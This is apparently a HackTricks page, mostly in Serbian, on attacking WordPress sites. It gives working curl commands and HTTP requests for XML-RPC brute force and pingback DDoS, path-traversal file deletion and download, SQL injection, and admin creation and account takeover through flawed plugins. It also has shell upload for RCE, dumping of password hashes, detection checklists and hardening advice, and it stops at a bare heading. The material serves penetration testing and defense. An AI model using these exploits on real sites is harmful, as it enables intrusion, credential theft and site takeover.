Wordpress

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • In wp-config.php you can find the root password of the database.

  • Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt contains useful information such as the version WordPress installed.
  • wp-activate.php is used for the email activation process when setting up a new WordPress site.
  • Login folders (may be renamed to hide it):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress REST API.
  • The wp-content folder is the main directory where plugins and themes are stored.
  • wp-content/uploads/ Is the directory where any files uploaded to the platform are stored.
  • wp-includes/ This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
  • wp-sitemap.xml In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.

Post exploitation

  • The wp-config.php file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

Users Permissions

  • Administrator
  • Editor: Publish and manages his and others posts
  • Author: Publish and manage his own posts
  • Contributor: Write and manage his posts but cannot publish them
  • Subscriber: Browser posts and edit their profile

Passive Enumeration

Get WordPress version

Check if you can find the files /license.txt or /readme.html

Inside the source code of the page (example from https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link fajlovi

  • JavaScript fajlovi

Nabavite dodatke

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Preuzmi teme

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ekstrakcija verzija uopšteno

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktivna enumeracija

Dodaci i teme

Verovatno nećete moći da pronađete sve dostupne dodatke i teme. Da biste ih sve otkrili, moraćete da aktivno izvršite Brute Force nad listom dodataka i tema (nadamo se da postoje automatizovani alati koji sadrže te liste).

Korisnici

  • ID Brute: Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-jeva:
curl -s -I -X GET http://blog.example.com/?author=1

Ako su odgovori 200 ili 30X, to znači da je id važeći. Ako je odgovor 400, onda je id nevažeći.

  • wp-json: Takođe možete pokušati da dobijete informacije o korisnicima upitom:
curl http://blog.example.com/wp-json/wp/v2/users

Još jedan /wp-json/ endpoint koji može otkriti neke informacije o korisnicima je:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Imajte na umu da ovaj endpoint otkriva samo korisnike koji su napravili post. Biće prikazane samo informacije o korisnicima koji imaju ovu funkciju omogućenu.

Takođe imajte na umu da /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: Prilikom prijavljivanja na /wp-login.php poruka je različita i ukazuje na to da li korisničko ime postoji ili ne.

XML-RPC

Ako je aktivan xml-rpc.php možete izvršiti credentials brute-force ili ga koristiti da pokrenete DoS attacks na druge resurse. (You can automate this process using this for example).

Da biste proverili da li je aktivan, pokušajte pristupiti /xmlrpc.php i poslati ovaj zahtev:

Proveri

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories ili metaWeblog.getUsersBlogs su neke od metoda koje se mogu koristiti za brute-force credentials. Ako pronađete bilo koju od njih, možete poslati nešto poput:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Poruka “Incorrect username or password” u odgovoru sa status kodom 200 treba да се појави ако подаци за пријаву нису валидни.

Koristeći ispravне податке за пријаву можете otpremiti fajl. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Takođe postoji brži način za brute-force credentials koristeći system.multicall, jer možete isprobati više credentials u istom zahtevu:

Bypass 2FA

Ova metoda je namenjena programima, ne ljudima, i je stara, zato ne podržava 2FA. Dakle, ako imaš valid creds, ali je glavni ulaz zaštićen 2FA, možda ćeš moći da zloupotrebiš xmlrpc.php da se prijaviš tim creds-om zaobilazeći 2FA. Imaj na umu da nećeš moći da izvedeš sve akcije koje možeš iz konzole, ali možda ipak možeš dostići RCE kako Ippsec objašnjava u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Ako možeš da pronađeš metodu pingback.ping u listi, možeš naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.
Ovo se može iskoristiti da se hiljade Wordpress sajtova zamole da pristupe jednoj lokaciji (tako se u toj lokaciji izaziva DDoS) ili možeš iskoristiti da nateraš Wordpress da scan neki interni network (možeš navesti bilo koji port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.

Pogledajte upotrebu system.multicall u prethodnom odeljku da biste naučili kako zloupotrebiti ovu metodu da izazovete DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ovaj fajl obično postoji u root-u Wordpress sajta: /wp-cron.php
Kada se ovaj fajl accessed, izvršava se jedan “heavy” MySQL query, pa ga attackers mogu iskoristiti da cause DoS.
Takođe, po defaultu, wp-cron.php se poziva pri svakom učitavanju stranice (kad god klijent zahteva bilo koju Wordpress stranicu), što kod sajtova sa velikim saobraćajem može izazvati probleme (DoS).

Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će izvršavati potrebne zadatke u redovnim intervalima (bez izazivanja problema).

/wp-json/oembed/1.0/proxy - SSRF

Pokušajte da pristupite https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Worpress sajt može poslati zahtev ka vama.

This is the response when it doesn’t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Ovaj alat proverava da li postoji methodName: pingback.ping i putanja /wp-json/oembed/1.0/proxy, i ako postoje, pokušava da ih exploit-uje.

Automatski alati

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Dobijte pristup prepisivanjem bita

Ovo je više radoznalost nego stvaran napad. U CTF-u https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogli ste preokrenuti 1 bit u bilo kojoj wordpress datoteci. Tako ste mogli preokrenuti bit na poziciji 5389 u datoteci /var/www/html/wp-includes/user.php i NOP-ovati NOT (!) operaciju.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modifikacija php fajla iz korišćene teme (admin credentials potrebne)

Appearance → Theme Editor → 404 Template (na desnoj strani)

Zamenite sadržaj php fajla shell-om:

Potražite na internetu kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Možete koristiti:

use exploit/unix/webapp/wp_admin_shell_upload

da biste dobili sesiju.

Plugin RCE

PHP plugin

Moguće je otpremiti .php fajlove kao plugin.
Kreirajte svoj php backdoor koristeći, na primer:

Zatim dodajte novi plugin:

Otpremite plugin i pritisnite Install Now:

Kliknite na Procced:

Verovatno se ništa neće dogoditi, ali ako odete u Media, videćete da je vaš shell otpremljen:

Pristupite tome i videćete URL za izvršenje reverse shell-a:

Uploading and activating malicious plugin

Ova metoda podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shell-a. Ovaj proces se izvodi kroz WordPress dashboard na sledeći način:

  1. Plugin Acquisition: Plugin se dobija iz izvora kao što je Exploit DB like here.
  2. Plugin Installation:
  • Navigate to the WordPress dashboard, then go to Dashboard > Plugins > Upload Plugin.
  • Upload the zip file of the downloaded plugin.
  1. Plugin Activation: Nakon što je plugin uspešno instaliran, mora se aktivirati kroz dashboard.
  2. Exploitation:
  • Sa instaliranim i aktiviranim pluginom “reflex-gallery”, može se izvršiti eksploatacija jer je poznato da je ranjiv.
  • Metasploit framework pruža exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter session, što omogućava neovlašćen pristup sajtu.
  • Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.

Sadržaj uključuje vizuelne prikaze koraka u WordPress dashboard-u za instaliranje i aktiviranje plugina. Međutim, važno je napomenuti da iskorišćavanje ranjivosti na ovaj način predstavlja krivično delo i neetično je bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je penetration testing sa eksplicitnim dopuštenjem.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike je skripta dizajnirana da eskalira Cross-Site Scripting (XSS) ranjivost u Remote Code Execution (RCE) ili druge kritične ranjivosti u WordPress. Za više informacija pogledajte this post. Pruža support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Kreira korisnika u WordPress-u.
  • (RCE) Custom Plugin (backdoor) Upload: Otpremite svoj custom plugin (backdoor) u WordPress.
  • (RCE) Built-In Plugin Edit: Izmenite ugrađene plugine u WordPress-u.
  • (RCE) Built-In Theme Edit: Izmenite ugrađene teme u WordPress-u.
  • (Custom) Custom Exploits: Prilagođeni exploit-i za third-party WordPress plugine/teme.

Post Exploitation

Ekstrahujte korisnička imena i lozinke:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Promenite administratorsku lozinku:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Pentest Wordpress dodataka

Površina napada

Poznavanje načina na koji Wordpress dodatak može da izloži funkcionalnost ključno je za pronalaženje ranjivosti u toj funkcionalnosti. U sledećim tačkama možete videti na koje načine dodatak može izložiti funkcionalnost i nekoliko primera ranjivih dodataka u this blog post.

  • wp_ajax

Jedan od načina na koji dodatak može da izloži funkcije korisnicima je preko AJAX handlera. Ove funkcije mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Takođe, prilično je česta pojava da te funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji bilo koji autentifikovani korisnik u Wordpress instanci može imati (nezavisno od njegove uloge).

Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Korišćenje nopriv čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).

Caution

Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije wp_verify_nonce, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama visokih privilegija.

  • REST API

Takođe je moguće izložiti funkcije iz wordpress registrujući rest AP koristeći funkciju register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback je callback funkcije koja proverava da li je određeni korisnik ovlašćen da pozove API metodu.

Ako se koristi ugrađena funkcija __return_true, ona će jednostavno preskočiti proveru dopuštenja korisnika.

  • Direktan pristup php fajlu

Naravno, Wordpress koristi PHP i fajlovi unutar plugins su direktno dostupni preko weba. Dakle, u slučaju da neki plugin izlaže ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, ona će biti eksploatisana od strane bilo kog korisnika.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Neki plugins implementiraju „trusted header“ prečice za interne integracije ili reverse proxies i potom koriste taj header da postave kontekst trenutnog korisnika za REST zahteve. Ako header nije kriptografski povezan sa zahtevom od strane upstream komponente, napadač može falsifikovati taj header i pozvati privilegovane REST rute kao administrator.

  • Uticaj: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST rute.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (forsira user ID 1, tipično prvi administratorski nalog).
  • Exploited route: POST /wp-json/wp/v2/users sa nizom koji dodeljuje povišenu ulogu.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Zašto ovo radi

  • Plugin mapira zaglavlje koje kontroliše klijent na autentifikaciono stanje i preskače provere privilegija.
  • WordPress core očekuje create_users capability za ovu rutu; plugin hack ga zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz zaglavlja.

Očekivani indikatori uspeha

  • HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
  • Novi admin korisnik vidljiv u wp-admin/users.php.

Kontrolna lista za detekciju

  • Grep-ujte za getallheaders(), $_SERVER['HTTP_...'], ili vendor SDK-ove koji čitaju prilagođena zaglavlja da postave kontekst korisnika (npr. wp_set_current_user(), wp_set_auth_cookie()).
  • Pregledajte REST registracije za privilegovane callback-ove koji nemaju robusne provere permission_callback i koji umesto toga zavise od request zaglavlja.
  • Potražite upotrebe osnovnih funkcija za upravljanje korisnicima (wp_insert_user, wp_create_user) unutar REST handlera koje su ograničene samo vrednostima iz zaglavlja.

Neautentifikovano proizvoljno brisanje fajlova preko wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress teme i pluginovi često izlažu AJAX handlere preko wp_ajax_ i wp_ajax_nopriv_ hook-ova. Kada se koristi varijanta nopriv, callback postaje dostupan neautentifikovanim posetiocima, zato svaka osetljiva akcija mora dodatno da implementira:

  1. Proveru privilegija (npr. current_user_can() ili bar is_user_logged_in()), i
  2. CSRF nonce validiran sa check_ajax_referer() / wp_verify_nonce(), i
  3. Strogu sanitaciju / validaciju ulaza.

Litho multipurpose theme (< 3.1) je zaboravio ta 3 kontrolna mehanizma u Remove Font Family feature i završio isporučujući sledeći kod (pojednostavljeno):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemi koje uvodi ovaj isječak:

  • Neautentifikovan pristup – the wp_ajax_nopriv_ hook je registrovan.
  • No nonce / capability check – bilo koji posetilac može pristupiti endpointu.
  • Nema sanitizacije putanje – korisnički kontrolisan fontfamily string je konkateniran sa filesystem putanjom bez filtriranja, što omogućava klasični ../../ traversal.

Eksploatacija

Napadač može obrisati bilo koji fajl ili direktorijum ispod uploads base directory (obično <wp-root>/wp-content/uploads/) slanjem jednog HTTP POST zahteva:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

Kontrolna lista za detekciju

  • Any add_action( 'wp_ajax_nopriv_...') callback that calls filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Konkatenacija nefiltriranih korisničkih ulaza u putanje (potražite $_POST, $_GET, $_REQUEST).
  • Nedostatak check_ajax_referer() i current_user_can()/is_user_logged_in().

Eskalacija privilegija kroz vraćanje zastarelih uloga i nedostatak autorizacije (ASE “View Admin as Role”)

Many plugins implement a “view as role” or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Zašto se može iskoristiti

  • Veruje $_REQUEST['reset-for'] i jednoj opciji plugina bez autorizacije na serverskoj strani.
  • Ako je korisnik ranije imao veće privilegije sačuvane u _asenha_view_admin_as_original_roles i bio je degradiran, može ih vratiti pristupanjem reset putanji.
  • U nekim okruženjima, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u viewing_admin_as_role_are (neispravna autorizacija).

Exploitation (example)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Na ranjivim verzijama ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. administrator), efektivno eskalirajući privilegije.

Detection checklist

  • Potražite funkcije za menjanje uloge koje čuvaju “original roles” u user meta (npr. _asenha_view_admin_as_original_roles).
  • Identifikujte putanje za reset/restore koje:
  • Učitavaju korisnička imena iz $_REQUEST / $_GET / $_POST.
  • Menjaju uloge pomoću add_role() / remove_role() bez current_user_can() i wp_verify_nonce() / check_admin_referer().
  • Autorizuju na osnovu niza opcija plugina (npr. viewing_admin_as_role_are) umesto na osnovu capabilities izvršioca.

Neautentifikovana eskalacija privilegija preko cookie‑pouzdanog menjanja korisnika na public init (Service Finder “sf-booking”)

Neki pluginovi povežu pomoćnike za menjanje korisnika na javni init hook i izvlače identitet iz cookie-ja koji kontroliše klijent. Ako kod poziva wp_set_auth_cookie() bez provere autentikacije, capabilities i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti login kao proizvoljni korisnički ID.

Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Zašto se može iskoristiti

  • Javni init hook čini handler dostupan neautentifikovanim korisnicima (nema is_user_logged_in() provere).
  • Identitet se izvodi iz cookie-ja koji klijent može menjati (original_user_id).
  • Direktan poziv wp_set_auth_cookie($uid) prijavljuje zahtevaoca kao tog korisnika bez bilo kakvih capability/nonce provera.

Eksploatacija (neautentifikovano)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Razmatranja WAF-a za WordPress/plugin CVE-ove

Generic edge/server WAFs su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokouticajne WordPress/plugin ranjivosti su specifične za aplikaciju — logičke/auth greške — koje izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugina.

Ofanzivne napomene

  • Ciljajte plugin-specifične endpoint-e sa čistim payload-ovima: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Prvo testirajte neautentifikovane puteve (AJAX nopriv, REST sa permisivnim permission_callback, javni shortcodes). Podrazumevani payload-ovi često uspevaju bez obfuskacije.
  • Tipični slučajevi visokog uticaja: eskalacija privilegija (broken access control), proizvoljni upload/download fajlova, LFI, open redirect.

Odbrambene napomene

  • Ne oslanjajte se na generičke WAF signaturne za zaštitu plugin CVE-ova. Implementirajte virtual patches specifične za ranjivost na aplikacionom sloju ili ažurirajte brzo.
  • Preferirajte positive-security provere u kodu (capabilities, nonces, striktna validacija inputa) umesto negativnih regex filtera.

WordPress Protection

Regular Updates

Uverite se da su WordPress, plugini i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Takođe, instalirajte samo pouzdane WordPress dodatke i teme.

Security Plugins

Other Recommendations

  • Uklonite podrazumevanog admin korisnika
  • Koristite jake lozinke i 2FA
  • Povremeno pregledajte korisničke dozvole
  • Ograničite pokušaje prijave kako biste sprečili Brute Force napade
  • Preimenujte fajl wp-admin.php i dozvolite pristup samo interno ili sa određenih IP adresa.

Neautentifikovana SQL Injection usled nedovoljne validacije (WP Job Portal <= 2.3.2)

WP Job Portal plugin za zapošljavanje izložio je zadatak savecategory koji na kraju izvršava sledeći ranjiv kod unutar modules/category/model.php::validateFormData():

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. Unsanitised user inputparentid dolazi direktno iz HTTP zahteva.
  2. String concatenation inside the WHERE clause – nema is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – iako se akcija se izvršava kroz admin-post.php, jedina provera je CSRF nonce (wp_verify_nonce()), koji svaki posetilac može dohvatiti sa javne stranice koja ugradi shortcode [wpjobportal_my_resumes].

Exploitation

  1. Grab a fresh nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Inject arbitrary SQL by abusing parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Odgovor otkriva rezultat ubaćenog upita ili menja bazu podataka, čime se dokazuje SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Drugi zadatak, downloadcustomfile, omogućavao je posetiocima da preuzmu bilo koju datoteku sa diska putem path traversal-a. Ranljivi sink se nalazi u modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name je pod kontrolom napadača i konkatenira se bez sanitizacije. Ponovo, jedino ograničenje je CSRF nonce koji se može dohvatiti sa resume page.

Eksploatacija

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Server odgovara sadržajem wp-config.php, leaking DB credentials i auth keys.

Neautentifikovano preuzimanje naloga preko Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Mnoge teme/plugini isporučuju “social login” helper-e izložene preko admin-ajax.php. Ako neautentifikovana AJAX akcija (wp_ajax_nopriv_…) veruje identifikatorima koje šalje klijent kada podaci provajdera izostanu, i potom pozove wp_set_auth_cookie(), to postaje full authentication bypass.

Tipičan pogrešan obrazac (pojednostavljeno)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Why it’s exploitable

  • Neautentifikovan pristup putem admin-ajax.php (wp_ajax_nopriv_… action).
  • Nema nonce/capability provera pre promene stanja.
  • Nedostaje verifikacija OAuth/OpenID provider-a; default branch prihvata unos napadača.
  • get_user_by(‘email’, $_POST[‘id’]) praćeno wp_set_auth_cookie($uid) autentifikuje zahtevaoca kao bilo koju postojeću email adresu.

Exploitation (unauthenticated)

  • Preduslovi: napadač može da dosegne /wp-admin/admin-ajax.php i zna/pogađa validan korisnički email.
  • Postavite provider na nepodržanu vrednost (ili ga izostavite) da biste ušli u default branch i poslali id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspect the theme/plugin for add_action(‘wp_ajax_nopriv_…’, ‘…’) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by(‘email’, …) inside AJAX handlers.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
  • Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
  • Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
  • Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

